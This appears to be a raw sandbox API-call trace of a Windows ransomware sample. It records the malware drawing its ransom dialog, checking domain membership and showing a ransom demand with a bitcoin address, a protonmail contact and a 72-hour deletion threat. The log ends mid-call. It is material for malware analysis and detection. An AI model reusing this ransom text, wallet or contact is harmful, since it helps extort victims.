GetWindowLongPtrW (hWnd=0x8011c, nIndex=-21) returned 0x0 [0048.658] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x111, wParam=0x4000006, lParam=0x8011c) returned 0x0 [0048.658] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.658] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.658] GetWindowLongPtrW (hWnd=0x8011c, nIndex=-21) returned 0x0 [0048.658] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x111, wParam=0x3000006, lParam=0x8011c) returned 0x0 [0048.658] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.658] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x55, wParam=0x8011c, lParam=0x3) returned 0x2 [0048.658] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.658] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0048.658] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.658] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x60001, lParam=0x8011c) returned 0x0 [0048.658] GetStockObject (i=17) returned 0x10a0047 [0048.658] SendMessageW (hWnd=0x8011c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0048.658] GetClientRect (in: hWnd=0x8011c, lpRect=0x10f395f230 | out: lpRect=0x10f395f230) returned 1 [0048.658] GetWindowRect (in: hWnd=0x8011c, lpRect=0x10f395f230 | out: lpRect=0x10f395f230) returned 1 [0048.658] SetWindowLongPtrW (hWnd=0x8011c, nIndex=-21, dwNewLong=0x6) returned 0x0 [0048.658] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.659] GetDC (hWnd=0x0) returned 0x11010729 [0048.659] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0048.659] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0048.659] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0xffffffff8e0a06db [0048.659] SendMessageW (hWnd=0x8011c, Msg=0x30, wParam=0xffffffff8e0a06db, lParam=0x1) returned 0x1 [0048.659] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.660] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0x501e8, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xb01e6 [0048.660] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.660] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x55, wParam=0xb01e6, lParam=0x3) returned 0x2 [0048.660] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.660] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0048.660] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.660] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x70001, lParam=0xb01e6) returned 0x0 [0048.660] GetStockObject (i=17) returned 0x10a0047 [0048.660] SendMessageW (hWnd=0xb01e6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0048.660] GetClientRect (in: hWnd=0xb01e6, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.660] GetWindowRect (in: hWnd=0xb01e6, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.660] SetWindowLongPtrW (hWnd=0xb01e6, nIndex=-21, dwNewLong=0x7) returned 0x0 [0048.661] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.661] GetDC (hWnd=0x0) returned 0x11010729 [0048.661] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0048.661] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0048.661] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x440a07f1 [0048.661] SendMessageW (hWnd=0xb01e6, Msg=0x30, wParam=0x440a07f1, lParam=0x1) returned 0x0 [0048.661] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.662] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0048.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f310, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f310*=0) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f300, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f300*=0) returned 1 [0048.662] ReadFile (in: hFile=0x194, lpBuffer=0x10f3c394d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395f340, lpOverlapped=0x0 | out: lpBuffer=0x10f3c394d0*, lpNumberOfBytesRead=0x10f395f340*=0x1b, lpOverlapped=0x0) returned 1 [0048.662] ReadFile (in: hFile=0x194, lpBuffer=0x10f3c394d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395f340, lpOverlapped=0x0 | out: lpBuffer=0x10f3c394d0*, lpNumberOfBytesRead=0x10f395f340*=0x0, lpOverlapped=0x0) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f380, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f380*=27) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f380, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f380*=0) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f2d0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f2d0*=0) returned 1 [0048.662] ReadFile (in: hFile=0x194, lpBuffer=0x10f3c394d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395f310, lpOverlapped=0x0 | out: lpBuffer=0x10f3c394d0*, lpNumberOfBytesRead=0x10f395f310*=0x1b, lpOverlapped=0x0) returned 1 [0048.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x10f3c1b6c0, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0048.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x10f3c1b6c0, cbMultiByte=28, lpWideCharStr=0x10f3c1b280, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0048.662] CloseHandle (hObject=0x194) returned 1 [0048.663] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.663] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0048.663] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.663] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.663] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.663] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0048.663] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.664] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0048.664] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x10f3c0d090, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0048.670] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0048.670] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0x10f395e258, BufferType=0x10f395e280 | out: lpNameBuffer=0x10f395e258*="WORKGROUP", BufferType=0x10f395e280) returned 0x0 [0048.672] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0048.673] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.673] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.673] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.673] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0048.673] PeekMessageW (in: lpMsg=0x10f395e240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e240) returned 0 [0048.674] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0048.674] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0048.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0048.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x10f3c0caf0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0048.679] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0048.679] NetApiBufferSize (in: Buffer=0x10f3c1b400, ByteCount=0x10f395d9b8 | out: ByteCount=0x10f395d9b8) returned 0x0 [0048.680] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0048.681] PeekMessageW (in: lpMsg=0x10f395e240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e240) returned 1 [0048.681] TranslateMessage (lpMsg=0x10f395e240) returned 0 [0048.681] DispatchMessageW (lpMsg=0x10f395e240) returned 0xffffffff [0048.681] GetForegroundWindow () returned 0x301cc [0048.681] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0048.681] PeekMessageW (in: lpMsg=0x10f395e240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e240) returned 0 [0048.681] PeekMessageW (in: lpMsg=0x10f395e240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e240) returned 0 [0048.682] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0048.682] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.682] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.682] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0048.685] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.685] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.685] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.685] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.685] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.685] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.685] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.685] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.685] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0x501e8, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xb018a [0048.686] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.686] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x80001, lParam=0xb018a) returned 0x0 [0048.687] GetStockObject (i=17) returned 0x10a0047 [0048.687] SendMessageW (hWnd=0xb018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0048.687] GetWindowTextLengthW (hWnd=0xb018a) returned 417 [0048.687] SendMessageW (hWnd=0xb018a, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0048.687] GetClientRect (in: hWnd=0xb018a, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.687] GetWindowRect (in: hWnd=0xb018a, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.687] SetWindowLongPtrW (hWnd=0xb018a, nIndex=-21, dwNewLong=0x8) returned 0x0 [0048.687] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.687] GetDC (hWnd=0x0) returned 0x1601069e [0048.687] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0048.687] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0048.687] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffffb20a07b3 [0048.687] SendMessageW (hWnd=0xb018a, Msg=0x30, wParam=0xffffffffb20a07b3, lParam=0x1) returned 0x1 [0048.692] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.692] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.692] ShowWindow (hWnd=0x501e8, nCmdShow=5) returned 0 [0048.692] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.692] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0048.692] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.692] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x46, wParam=0x0, lParam=0x10f395f770) returned 0x0 [0048.700] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.700] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x46, wParam=0x0, lParam=0x10f395f770) returned 0x0 [0048.700] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.700] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0048.700] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0048.700] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.700] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0048.701] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.701] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.701] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0048.703] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.703] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0048.704] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.704] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0048.705] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.705] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.705] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0048.705] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.705] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x8, wParam=0xb018c, lParam=0x0) returned 0x0 [0048.705] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.705] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0048.706] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.706] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.706] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.706] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xffffffffa40100ae, lParam=0x0) returned 0x1 [0048.706] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.706] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.706] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.706] SetBkColor (hdc=0xffffffffa40100ae, color=0xf0f0f0) returned 0xffffff [0048.706] CreateSolidBrush (color=0xf0f0f0) returned 0xffffffff8d1006dd [0048.706] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.706] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x47, wParam=0x0, lParam=0x10f395f770) returned 0x0 [0048.706] GetForegroundWindow () returned 0x501e8 [0048.706] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.706] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.706] GetWindowLongW (hWnd=0x501e8, nIndex=-20) returned 256 [0048.706] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x84, wParam=0x0, lParam=0x200030a) returned 0x1 [0048.706] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.706] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.706] GetClientRect (in: hWnd=0x501e8, lpRect=0x10f395f480 | out: lpRect=0x10f395f480) returned 1 [0048.706] GetCursorPos (in: lpPoint=0x10f395f4a0 | out: lpPoint=0x10f395f4a0*(x=778, y=512)) returned 1 [0048.706] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f4a0 | out: lpPoint=0x10f395f4a0) returned 1 [0048.706] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0048.706] SetCursor (hCursor=0x10003) returned 0x10007 [0048.707] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x200, wParam=0x0, lParam=0x18a01c9) returned 0x0 [0048.707] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.707] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] BeginPaint (in: hWnd=0x501e8, lpPaint=0x10f395f370 | out: lpPaint=0x10f395f370) returned 0xffffffffa40100ae [0048.707] EndPaint (hWnd=0x501e8, lpPaint=0x10f395f370) returned 1 [0048.707] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.707] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xffffffffe101070f, lParam=0x0) returned 0x1 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.707] SetBkColor (hdc=0xffffffffe101070f, color=0xf0f0f0) returned 0xffffff [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0xffffffffe101070f, lParam=0x4) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.707] SetBkColor (hdc=0xffffffffe101070f, color=0xf0f0f0) returned 0xf0f0f0 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.707] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.707] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.707] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0048.708] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.708] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.708] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.708] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.708] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.708] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.708] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.708] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0048.708] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0048.708] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.708] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0x11010729, lParam=0x0) returned 0x1 [0048.708] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.708] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.708] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.708] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0x0 [0048.708] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.708] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0x11010729, lParam=0x4) returned 0x0 [0048.708] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.708] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.708] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.708] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.708] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.708] SetTextColor 